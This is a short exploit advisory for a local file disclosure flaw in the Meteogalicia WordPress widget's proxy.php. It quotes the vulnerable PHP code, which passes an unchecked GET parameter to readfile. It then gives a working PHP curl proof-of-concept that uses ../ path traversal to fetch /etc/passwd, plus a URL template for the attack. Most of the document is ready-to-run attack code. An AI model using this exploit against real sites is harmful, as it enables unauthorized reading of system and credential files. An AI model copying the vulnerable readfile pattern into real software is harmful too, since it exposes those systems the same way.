" Meteogalicia Wordpress Widget - Local File Disclosure "
An attacker can exploit this issue to download Important files on the site
Source : https://github.com/zetxek/Meteogalicia-Wordpress-Widget
===========
Vulnerable page :
===========
Meteogalicia-Wordpress-Widget/meteogalicia/proxy.php
==========
Vulnerable Code :
==========
<?php
/*
Note
*/
$url = 'site.....='.$_GET['id'];
readfile($url)
?>
=========
POC Exploit :
========
<?php
# Author : Shahab Shamsi
# Title : Meteogalicia Wordpress Widget - Local File Disclosure
# Date : 08.September.2016
# Email : info@securityman.org
# Vendor : https://github.com/zetxek/Meteogalicia-Wordpress-Widget
# Category : Webapps
$target = $argv[1];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://localhost/wordpress/meteogalicia/proxy.php?id=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
/*
Contact Me :
Telegram : @R4DIK4L
Email : info@securityman.org
WebSilte : WwW.MohitAmn.Org
Tnx : AmirHossein Farjad
Curl By : R@DIK@L
*/
?>
===========
POC URL:
===========
http://localhost/patch/meteogalicia/proxy.php?id=[LFD]
